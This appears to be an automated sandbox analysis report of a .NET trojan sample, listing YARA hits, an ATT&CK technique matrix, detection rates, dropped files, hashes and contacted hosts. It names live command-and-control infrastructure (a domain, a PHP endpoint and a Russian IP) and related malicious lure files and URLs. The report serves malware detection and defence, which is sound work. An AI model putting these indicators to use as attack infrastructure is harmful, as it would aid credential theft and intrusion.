Source: Yara match	File source: 00000001.00000003.479061979.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.446798245.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.450970355.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.490732616.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.446675906.0000000000E7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.519148526.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.472912647.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.565557733.0000000000E7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.517673183.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.396032754.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.560853517.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.419428408.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.535977726.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.486325651.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.493532930.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.533197865.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.420351505.0000000000E7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.532205941.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.416818180.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.489824103.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.450013817.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.488133602.0000000000E85000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter2	Path Interception	Access Token Manipulation1	Disable or Modify Tools1	OS Credential Dumping2	Account Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer3	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection12	Deobfuscate/Decode Files or Information1	Credentials in Registry2	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information4	Security Account Manager	System Information Discovery13	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing12	NTDS	Security Software Discovery111	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Virtualization/Sandbox Evasion2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Process Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion2	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Access Token Manipulation1	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection12	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	40%	Virustotal		Browse
SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	21%	ReversingLabs	ByteCode-MSIL.Trojan.Burkina
SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
nevomw.com	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.fontbureau.comce9	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.comuec	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://nevomw.com/candy/five/fre.php	12%	Virustotal		Browse
http://nevomw.com/candy/five/fre.php	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.comai	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
nevomw.com	45.144.3.234	true	true	11%, Virustotal, Browse	unknown
g.msn.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://nevomw.com/candy/five/fre.php	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.comce9	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/bThe	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.ibsensoftware.com/	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.com	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.comuec	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.coma	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.fonts.com	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363844302.0000000003341000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.comai	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.144.3.234	unknown	Russian Federation		51659	ASBAXETRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	325825
Start date:	02.12.2020
Start time:	11:51:31
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.20770 (renamed file extension from 20770 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@247/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 17% (good quality ratio 16.3%) Quality average: 77% Quality standard deviation: 28.4%
HCA Information:	Successful, ratio: 99% Number of executed functions: 100 Number of non-executed functions: 10
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 52.255.188.83, 40.88.32.150, 51.104.139.180, 52.155.217.156, 20.54.26.129, 2.20.142.210, 2.20.142.209, 51.103.5.159, 104.43.193.48, 52.142.114.176, 92.122.144.200 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, wns.notify.windows.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, g-msn-com-nsatc.trafficmanager.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, par02p.wns.notify.windows.com.akadns.net, emea1.notify.windows.com.akadns.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, a767.dscg3.akamai.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:52:36	API Interceptor	260x Sleep call for process: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
45.144.3.234	niteEnrgy.xlsx	Get hash	malicious	Browse	qreenmaple.com/baba/baba1/fre.php
	PI.xlsx	Get hash	malicious	Browse	nevomw.com/candy/five/fre.php
	6sgE9EFquRq5FpK.exe	Get hash	malicious	Browse	lmpulsefashion.net/bryt/bryt2/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
nevomw.com	PI.xlsx	Get hash	malicious	Browse	45.144.3.234
	7HKZyhjCXK.exe	Get hash	malicious	Browse	185.209.1.129
	UP8VQkNe42.exe	Get hash	malicious	Browse	195.22.153.143
	ODnxDOTnzJ.exe	Get hash	malicious	Browse	195.22.153.143
	BANK_TT_pdf.exe	Get hash	malicious	Browse	185.209.1.109
	Pvm3Bq1eV0SeTcL.exe	Get hash	malicious	Browse	195.22.153.143
	tt payment proof.xlsx	Get hash	malicious	Browse	195.22.153.143
	5LWXhu3jRP.exe	Get hash	malicious	Browse	185.209.1.109
	payslip.s.xlsx	Get hash	malicious	Browse	185.204.2.232

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ASBAXETRU	http://redirectagrisrvcontact.com	Get hash	malicious	Browse	185.22.155.63
	niteEnrgy.xlsx	Get hash	malicious	Browse	45.144.2.145
	PI.xlsx	Get hash	malicious	Browse	45.144.2.145
	6sgE9EFquRq5FpK.exe	Get hash	malicious	Browse	45.144.3.234
	Doc.mht	Get hash	malicious	Browse	45.129.2.137
	3MndTUzGQn.exe	Get hash	malicious	Browse	45.129.3.96
	installa.dll	Get hash	malicious	Browse	45.140.168.107
	installa.dll	Get hash	malicious	Browse	45.140.168.107
	https://voicenote.kimdirnet.com/screen.php?New_tWfgGGT____soppdYTW_____opUtyDheGWWeQiWJDD___fhfhKLHJSfCxsD=spetruk@cgsinc.com&fCCjdhRWyryCCSXW____fjfhDFHHFhsh=SFI7SW1wLiAjOTQ5NTMgUHJvZC5wZGY=	Get hash	malicious	Browse	45.140.169.3
	Previdenza_Sociale.jar	Get hash	malicious	Browse	45.135.135.99
	Previdenza_Sociale.jar	Get hash	malicious	Browse	45.135.135.99
	SUPPLY-UtFpocnhm1uZ240 - docx.exe	Get hash	malicious	Browse	46.29.161.122
	https://redspark.a2hosted.com/02565.png	Get hash	malicious	Browse	185.22.155.63
	http://176.32.33.145	Get hash	malicious	Browse	176.32.33.145
	Glanzmann.doc	Get hash	malicious	Browse	176.32.33.145
	Glanzmann.doc	Get hash	malicious	Browse	176.32.33.145
	Glanzmann.doc	Get hash	malicious	Browse	176.32.33.145
	information.doc	Get hash	malicious	Browse	46.29.164.179
	information.doc	Get hash	malicious	Browse	46.29.164.179
	information.doc	Get hash	malicious	Browse	46.29.164.179

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.log Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	5.345637324625647
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4VE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKz5
MD5:	6C42AAF2F2FABAD2BAB70543AE48CEDB
SHA1:	8552031F83C078FE1C035191A32BA43261A63DA9
SHA-256:	51D07DD061EA9665DA070B95A4AC2AC17E20524E30BF6A0DA8381C2AF29CA967
SHA-512:	014E89857B811765EA7AA0B030AB04A2DA1957571608C4512EC7662F6A4DCE8B0409626624DABC96CBFF079E7F0F4A916E6F49C789E00B6E46AD37C36C806DCA
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\21c8026919fd094ab07ec3c180a9f210_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
File Type:	data
Category:	dropped
Size (bytes):	47873
Entropy (8bit):	0.7460804838839109
Encrypted:	false
SSDEEP:	48:399999999999999999999999999999999999999999999999999999999999999b:7
MD5:	C596D8424366782AFBB9AC2600358887
SHA1:	A736CBB9372AB1DC21F8BF495EE9EE37898A704F
SHA-256:	158975CC68CFE4BCF5AF3FE1366250CFBA502A87315A4DC623B47CC56FCFF38C
SHA-512:	EF54E22A010CC553A94E94FD7D67FF82C439AEF6101EF86DC3F7C2AE148E19DEF18CD0BEC4AAC81982F3E9D444A6CD973988FCDA842EBB0DB4159833907A5102
Malicious:	false
Reputation:	low
Preview:	........................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user..........................................................................................user......................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.850143173412625
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
File size:	667648
MD5:	2aaa15e28835feda9a2e223d82db2126
SHA1:	2c4ace288456010a2717597b192827cd9f7ec771
SHA256:	e385b8f5946a41469f49fad4aaeb98e510e79afd0ba6c8546c7b6548da61b8e6
SHA512:	3d17642e4e6afdbe84e15b962dd008c0b0a916f70020dc9125cbe2bdea86a316bb7dc99c59b96b88dfac2a5bc8d33b400ad0ec7bc514557a3798d5361b198908
SSDEEP:	12288:KF5znqopcqsY9N/uJkAbmKaLDpMiGFE/XahZSlQP/P9Ji8L:ahpcxLbm7DZLa/Sqv93L
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..&..........rD... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4a4472
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
